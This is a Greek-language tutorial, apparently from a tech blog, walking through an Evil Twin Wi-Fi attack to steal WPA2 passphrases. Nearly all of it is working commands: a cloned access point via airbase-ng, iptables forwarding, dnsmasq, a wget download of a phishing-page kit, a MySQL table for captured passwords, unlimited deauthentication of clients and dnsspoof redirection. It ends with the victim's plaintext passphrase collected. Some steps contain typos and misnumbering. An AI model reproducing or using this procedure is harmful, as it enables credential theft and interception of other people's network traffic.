in

Οδηγός Evil Twin Attack και Cracking WPA2-PSK


Στις μέρες μας, βλέπουμε πολύ περισσότερους χρήστες να πέφτουν θύματα επιθέσεων, ειδικά σε δημόσιες τοποθεσίες που υπάρχει free Wi-Fi.

Μπορεί να υπάρχει ανοιχτό ασύρματο δίκτυο ή αδύναμη κρυπτογράφηση. Αλλά πριν ξεκινήσουμε, πιθανότατα θα χρειαστείτε τον κατάλληλο εξοπλισμό για να μας ακολουθήσετε στην επίδειξη Evil Twin Attack που θα κάνουμε.

Υλικά που θα χρειαστούμε

  • Windows 10 (βασική μηχανή) – Με συνδεσιμότητα Ethernet
  • Kali Linux (Μηχανή VM) – Με ενεργοποιημένη τη λειτουργία NAT
  • Προσαρμογέας USB Wireless TP-LINK – 150 MBPS

Απαιτούμενα εργαλεία 

  • VMWare Workstation
  • Kali Linux
  • Airmon-ng, Airodump-ng, Airbase-ng και Aireplay-ng
  • dnsmasq
  • iptables
  • Apache και MySQL

Θα πρέπει να εκτελέσετε την εντολή apt-get update που ενημερώνει τη λίστα των διαθέσιμων πακέτων και των εκδόσεών τους, αλλά δεν εγκαθιστά ή αναβαθμίζει κανένα πακέτο από μόνο του.

Το apt-get upgrade εγκαθιστά στην πραγματικότητα νεότερες εκδόσεις των πακέτων που έχετε ήδη. 

Βήμα 1 – Εγκαταστήστε το πακέτο dnsmasq απευθείας πληκτρολογώντας “apt-get install dnsmasq -y“.

Το Dnsmasq παρέχει υποδομή δικτύου για μικρά δίκτυα: DNS, DHCP και εκκίνηση του δικτύου. Έχει σχεδιαστεί για να είναι ελαφρύ και εύχρηστο στη χρήση του, κατάλληλο για περιορισμένους πόρους, δρομολογητές και τείχη προστασίας.

Έχει επίσης χρησιμοποιηθεί ευρέως για σύνδεση σε smartphone και φορητά hotspots και για την υποστήριξη της εικονικής δικτύωσης σε machines. Οι υποστηριζόμενες πλατφόρμες περιλαμβάνουν Linux (με glibc και uclibc), Android, * BSD και Mac OS X. Το Dnsmasq περιλαμβάνεται στις περισσότερες διανομές Linux και στα συστήματα  FreeBSD, OpenBSD και NetBSD.

Εάν το πακέτο dnsmasq είναι ήδη εγκατεστημένο στο μηχάνημά σας, τότε μπορείτε να παραλείψετε αυτό το βήμα.

Βήμα 2 – Δημιουργήστε ένα αρχείο διαμόρφωσης για το dnsmasq με τη βοήθεια του προγράμματος επεξεργασίας gedit (Ο αγαπημένος μας επεξεργαστής γραφικών) και προσθέστε τον ακόλουθο κώδικα σε αυτό όπως φαίνεται παρακάτω:

Εντολή: sudo gedit /root/Desktop/dnsmasq.conf

interface=at0
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

Βήμα 3 – Πριν ενεργοποιήσετε τη λειτουργία monitoring, βεβαιωθείτε ότι το airmon-ng και το NetworkManager δεν θα συγκρούονται μεταξύ τους, διαφορετικά θα πρέπει να απενεργοποιήσετε τον διαχειριστή δικτύου ή να επαναλάβετε ολόκληρη τη διαδικασία από την αρχή.

Ανοίξτε το αρχείο διαμόρφωσης του διαχειριστή δικτύου και βάλτε τη διεύθυνση MAC της συσκευής που θέλετε να σταματήσει η διαχείριση του διαχειριστή δικτύου:

Εντολή: gedit /etc/NetworkManager/NetworkManager.conf

Τώρα προσθέστε τα ακόλουθα στο τέλος του αρχείου:

[keyfile] unmanaged-devices: mac = AA:BB:CC:DD:EE:FF, A2:B2:C2:D2:E2:F2

Το NetworkManager.conf είναι ένα αρχείο ρυθμίσεων για το NetworkManager. Χρησιμοποιείται για τη δημιουργία διαφόρων λειτουργιών του NetworkManager. Η θέση του αρχείου μπορεί να αλλάξει μέσω της χρήσης του ορίσματος ” –config = ” για το NetworkManager.

Βήμα 4 – Συνδέστε τον ασύρματο προσαρμογέα USB και επιβεβαιώστε τον με τη βοήθεια της εντολής iwconfig.

Εδώ μπορείτε να δείτε μια νέα διεπαφή που ονομάζεται  wlan0  (Μπορεί να είναι διαφορετική για εσάς).

Σε αυτήν την περίπτωση, χρησιμοποιούμε τον προσαρμογέα USB TP-LINK, αλλά μπορείτε να χρησιμοποιήσετε οποιονδήποτε ασύρματο προσαρμογέα επιθυμείτε, όπως κάρτα Alfa, D-Link, Netgear κ.λπ.

Με την εντολή “ifconfig wlan0 upαναβαθμίζει την ασύρματη διεπαφή σας.

Βήμα 5 – Βάλτε την κάρτα σας σε λειτουργία monitoring πληκτρολογώντας “airmon-ng start wlan0

Θα δημιουργηθεί μια νέα διεπαφή (wlan0mon στην περίπτωσή μας), το οποίο είναι το όνομα της διεπαφής που θα πρέπει να χρησιμοποιήσετε σε άλλες εφαρμογές.

Βήμα 6 – Τώρα ήρθε η ώρα να ξεκινήσετε την παρακολούθηση όλων των πακέτων AIR με τη βοήθεια της ακόλουθης εντολής:

Εντολή: airodump-ng wlan0mon

Το Airodump-ng χρησιμοποιείται για τη δέσμευση των ακατέργαστων πακέτων 802.11 και είναι ιδιαίτερα κατάλληλο για τη συλλογή WEP IVs (Initialization Vector) για την χρήσης τους με το aircrack-ng. 

Τα στοιχεία που χρειαζόμαστε από την παραπάνω έξοδο εντολών είναι:

  • Στόχος BSSID – 84:10:0D:9E:A1:CD
  • Κανάλι προορισμού – 7
  • Στόχος ESSID – XXX

Όπου, το BSSID είναι η διεύθυνση MAC του σημείου πρόσβασης και το ESSID είναι το όνομα του ασύρματου δικτύου που ονομάζεται SSID, το οποίο μπορεί να είναι κενό εάν το SSID βρίσκεται σε κρυφή λειτουργία.

Βήμα 7 – Εάν κάναμε τα πάντα σωστά, μπορούμε να κλωνοποιήσουμε το AP του και να τον κάνουμε να συνδεθεί με το evil twin μας. Όταν το κάνει αυτό, θα είμαστε σε θέση να δούμε όλη την κυκλοφορία του, καθώς και ενδεχομένως να εισάγουμε τα δικά μας πακέτα/μηνύματα/κώδικα στον υπολογιστή του.

Για να δημιουργήσετε ένα ψεύτικο AP με το airbase-ng, πληκτρολογήστε την ακόλουθη εντολή σε νέο τερματικό:

Εντολή: airbase-ng -e “xxx” -c 7 wlan0mon

Το Airbase-ng είναι ένα εργαλείο πολλαπλών χρήσεων που στοχεύει στην επίθεση client σε αντίθεση με το ίδιο το Access Point (AP). 

Θα δημιουργηθεί μια νέα διεπαφή interface at0, η οποία λειτουργεί ως «wired side» στο AP. Για να χρησιμοποιήσετε το AP, αυτή η νέα διεπαφή πρέπει να εμφανιστεί με το ifconfig και χρειάζεται να πάρει μια IP.

Το εκχωρημένο MAC ρυθμίζεται αυτόματα στο BSSID [από προεπιλογή η ασύρματη διασύνδεση MAC].

Μόλις εκχωρηθεί μια IP και ο client χρησιμοποιεί μια στατική IP από το ίδιο υποδίκτυο, υπάρχει μια σύνδεση Ethernet που λειτουργεί μεταξύ του AP και του client. Οποιοσδήποτε daemon  μπορεί να αντιστοιχιστεί σε αυτήν τη διεπαφή, για παράδειγμα ένας διακομιστής dhcp και dns.

Βήμα 8 – Για να εκχωρήσει η διεύθυνση IP το at0 πρέπει πρώτα να αντιστοιχίσουμε ένα εύρος IP στον εαυτό του.

Εντολή: ifconfig at 10.0.0.1 up

Τώρα θα χρησιμοποιήσουμε την προεπιλεγμένη διεπαφή που έχει το δίκτυο eth0, για να δρομολογήσουμε όλη την κίνηση από τον client μέσω αυτής. Με άλλα λόγια, επιτρέποντας στο θύμα να έχει πρόσβαση στο δίκτυο και επιτρέποντας στους εαυτούς μας (επιτιθέμενοι) να σύλλεξουν αυτήν την κίνηση.

Για αυτό θα χρησιμοποιήσουμε το βοηθητικό πρόγραμμα iptables, για να ορίσουμε έναν κανόνα τείχους προστασίας για να δρομολογήσουμε όλη την κίνηση μέσω του at0 αποκλειστικά.

Εντολή: iptables –flush
Εντολή: iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE
Εντολή: iptables –append FORWARD –in-interface at0 -j ACCEPT

Από προεπιλογή, όλες οι σύγχρονες διανομές Linux θα απενεργοποιήσουν το IP forward. Αυτή είναι καλή ιδέα, καθώς οι περισσότεροι δεν θα χρειαστούν IP Forwarding, αλλά εάν δημιουργούμε έναν δρομολογητή / gateway Linux ή ίσως έναν διακομιστή VPN (pptp ή ipsec) ή απλά έναν dial-in server, τότε θα πρέπει να γίνει ενεργοποίηση της προώθησης των δεδομένων.

Εάν εισαγάγετε το “1” στο αρχείο ip_forward, το σύστημα θα ενεργοποιήσει τους κανόνες που καθορίζονται στα IPtables και να ξεκινήσει την προώθηση της κίνησης (εάν υπάρχει).

Εντολή: echo 1> / proc / sys / net / ipv4 / ip_forward

Βήμα 9 –  Η επίθεση Evil Twin είναι τώρα έτοιμη και οι κανόνες έχουν ενεργοποιηθεί, τώρα θα ξεκινήσουμε τον διακομιστή dhcp για να επιτρέψουμε στο ψεύτικο AP να εκχωρήσει διεύθυνση IP στους clients.

Ξεκινήστε τον ακροατή DHCPD με τη βοήθεια του εργαλείου dnsmasq πληκτρολογώντας την ακόλουθη εντολή:

Εντολή: dnsmasq -C /root/Desktop/dnsmasq.conf -d

Εάν εμφανίζει κάποιο είδος σφάλματος σαν το “dnsmasq: failed to create listening socket for port 53: Address already in use” όπως φαίνεται παρακάτω:

θα πρέπει να βρείτε τον αριθμό ID της διεργασίας και να κάνετε kill όλες τις διεργασίες που σχετίζονται με αυτό το ID.

Εντολή: netstat -anlp | grep -w LISTEN
Εντολή: sudo ps -f -p 1975
Εντολή: sudo kill 1975

Αφού κάνετε kill τη διαδικασία, επαναλάβετε την ίδια εντολή και θα πρέπει να λειτουργεί

Βήμα 10 – Το επόμενο βήμα είναι να ξεκινήσετε τις υπηρεσίες Apache και MySQL πληκτρολογώντας τις ακόλουθες εντολές:

Εντολή: /etc/init.d/apache2 start
Εντολή: /etc/init.d/mysql start

Βήμα 11 –  Έχουμε το φορέα επίθεσης Evil Twin και λειτουργεί τέλεια. Τώρα πρέπει να ρυθμίσουμε τον ψεύτικο ιστότοπό μας, ώστε το θύμα να βλέπει τη σελίδα κατά την περιήγησή του και να εισάγει τη φράση πρόσβασης που χρησιμοποιεί για το σημείο πρόσβασης.

Για να το κάνετε αυτό, κατεβάστε αυτό αρχείο zip με τη βοήθεια της εντολής wget στον κατάλογο /var/www/html.

Εντολή: cd /var/www/html
Εντολή: wget https://cdn.iguru.gr/files/2021/03/iguru.zip

Βήμα 12 – Τώρα αποσυμπιέστε το παραπάνω ληφθέν αρχείο iguru.zip πληκτρολογώντας:

Εντολή: unzip iguru.zip

Η παραπάνω εντολή θα εξαγάγει τα περιεχόμενα του αρχείου iguru.zip και θα τα αντιγράψει στον κατάλογο html του Apache, έτσι ώστε όταν το θύμα ανοίξει το πρόγραμμα περιήγησης, θα ανακατευθυνθεί αυτόματα στην προεπιλεγμένη ιστοσελίδα index.html.

Βήμα 13 –  Τώρα για να αποθηκεύσουμε τα διαπιστευτήρια που εισήγαγε το θύμα στη σελίδα html, χρειαζόμαστε μια βάση δεδομένων SQL.

Θα δείτε ένα αρχείο dbconnect.php για αυτό, αλλά για να είστε σε ισχύ χρειάζεστε μια βάση δεδομένων που έχει ήδη δημιουργηθεί έτσι ώστε το dbconnect.php να αντικατοπτρίζει τις αλλαγές στο DB.

Ανοίξτε το τερματικό και πληκτρολογήστε: mysql -u root -p

Βήμα 14 – Δημιουργήστε ένα νέο χρήστη fakeap και τον κωδικό πρόσβασης fakeap  πληκτρολογώντας την ακόλουθη εντολή:

Εντολή: create user [email protected] identified by ‘fakeap’;

Βήμα 15 – Τώρα δημιουργήστε μια νέα βάση δεδομένων με το όνομα  rogue_AP  πληκτρολογώντας:

Εντολή: create database rogue_AP;

Και για να χρησιμοποιήσετε αυτόν τον τύπο βάσης δεδομένων “use rogue_AP;

Βήμα 16 – Το επόμενο βήμα είναι να δημιουργήσετε έναν πίνακα με όνομα  wpa_keys όπου όλοι οι κωδικοί πρόσβασης θα εισάγονται από τον χρήστη.

Εντολή:  create table wpa_keys(password1 varchar(32), password2 varchar(32));

Βήμα 17 – Στη συνέχεια, Εκχωρήστε όλα τα δικαιώματα στον χρήστη fakeap.

Εντολή: grant all privileges on rogue_AP.* to ‘fakeap’@’localhost’;

Βήμα 18 – Έξοδος από τη MySQL και σύνδεση με τον χρήστη fakeap πληκτρολογώντας:

Εντολή: mysql -u fakeap -p

Εδώ ο κωδικός πρόσβασης είναι επίσης falseap

Βήμα 19 – Επιλέξτε τη βάση δεδομένων rogue_AP πληκτρολογώντας:

Εντολή: use rogue_AP;

Και εισαγάγετε μια εικονική καταχώριση στον πίνακα wpa_keys μόνο για δοκιμή:

Εντολή:  insert into wpa_keys(password1, password2) values (“testpass”, “testpass”);

Και για να δείτε τα περιεχόμενα του πίνακα wpa_keys, η εντολή είναι:

Εντολή: select * from wpa_keys;

Σημειώστε ότι και οι δύο τιμές είναι ίδιες εδώ, αυτό σημαίνει ότι ο κωδικός πρόσβασης και ο κωδικός επιβεβαίωσης πρέπει να είναι οι ίδιοι.

Η επίθεσή μας είναι τώρα έτοιμη, απλώς περιμένετε να συνδεθεί ο client και να δειτε τα διαπιστευτήρια που έρχονται.

Σε ορισμένες περιπτώσεις ο client σας ενδέχεται να είναι ήδη συνδεδεμένος στο αρχικό AP. Πρέπει να αποσυνδέσετε τον client όπως κάναμε και σε προηγούμενους οδηγούς, χρησιμοποιώντας το βοηθητικό πρόγραμμα aireplay-ng.

Βήμα 20 – Για να απενεργοποιήσετε τους ενεργούς client, η εντολή είναι:

Εντολή: aireplay-ng –deauth 0 -a <BSSID> wlan0mon

–Deauth 0 σημαίνει απεριόριστα deauthentication requests, αλλά μπορείτε επίσης να περιορίσετε το αίτημα εισάγοντας φυσικούς αριθμούς.

Μόλις ένας client συνδεθεί με το AP σας, θα δείτε μια δραστηριότητα στο παράθυρο του τερματικού της βάσης ως εξής:

Βήμα 21 –  Τώρα για να προσομοιώσουμε την πλευρά του client, συνδέσαμε το fakeAP (iguru) σε άλλο φορητό υπολογιστή με Windows και χρησιμοποιώντας ένα πρόγραμμα περιήγησης στο Web του Firefox για να δείξουμε την επίθεση.

Το θύμα μπορεί πλέον να έχει πρόσβαση στο Διαδίκτυο. Μπορείτε να κάνετε 2 πράγματα σε αυτό το στάδιο:

  • Sniff την δραστηριότητα των clients
  • Ανακατευθύνετε όλη την επισκεψιμότητα στη ψεύτικη σελίδα AP. Αυτό θέλουμε να κάνουμε.

Για να ανακατευθύνετε τον client στην ψεύτικη σελίδα σας, θα πρέπει να εκτελέσετε το βοηθητικό πρόγραμμα dnsspoof που είναι ήδη προεγκατεστημένο σε κάθε Kali Linux Machine, με διεπαφή at0 που δημιουργήθηκε από την εντολή airbase-ng:

Εντολή: dnsspoof -i at0

Το DNS spoofing, που αναφέρεται επίσης ως DNS cache poisoning, είναι μια μορφή ηλεκτρονικής εισβολής, στην οποία τα κατεστραμμένα δεδομένα του συστήματος, εισάγονται στην προσωρινή μνήμη του προγράμματος επίλυσης DNS, προκαλώντας στον διακομιστή να επιστρέψει εσφαλμένη εγγραφή αποτελεσμάτων, π.χ. διεύθυνση IP. Αυτό έχει ως αποτέλεσμα την εκτροπή της κυκλοφορίας στον υπολογιστή του εισβολέα (ή σε οποιονδήποτε άλλο υπολογιστή).

Βήμα 12 – Τώρα επιστρέψτε στο μηχάνημα του θύματος και αποκτήστε πρόσβαση στο google.com και θα δείτε ότι, η ιστοσελίδα του google.com εμφανίζει την ψεύτικη ιστοσελίδα σας, που φιλοξενήσατε στο μηχάνημα Kali Linux που λέει στο θύμα να εισάγει τον κωδικό πρόσβασης για λήψη και αναβάθμιση του hardware.

Εδώ εισάγουμε το “iguru@123” ως τον κωδικό πρόσβασης που πιστεύουμε ότι είναι ο κωδικός πρόσβασης του AP.

Μόλις πατήσει το θύμα “ENTER”, θα δείτε την παρακάτω οθόνη με μια φόρτωση σελίδας κάπως έτσι:

Τώρα επιστρέφουμε στην πλευρά του επιτιθέμενου. Πρέπει να ελέγξετε στη βάση δεδομένων MySQL για τους αποθηκευμένους κωδικούς πρόσβασης.

Απλώς πληκτρολογήστε την εντολή που χρησιμοποιήθηκε προηγουμένως στο παράθυρο τερματικού MySQL και δείτε εάν υπάρχει νέα ενημέρωση ή όχι.

Έχετε συλλέξει με επιτυχία τη φράση πρόσβασης WPA2, απευθείας από το θύμα, σε απλό κείμενο.

 


 

Εγγραφή στο Ιστολόγιο μέσω Email

Εισάγετε το email σας για εγγραφή στην υπηρεσία αποστολής ειδοποιήσεων μέσω email για νέες δημοσιεύσεις.

Διαβάστε τις Τεχνολογικές Ειδήσεις από όλο τον κόσμο, με την εγκυρότητα του iGuRu.gr

Ακολουθήσετε μας στο Google News iGuRu.gr at Google news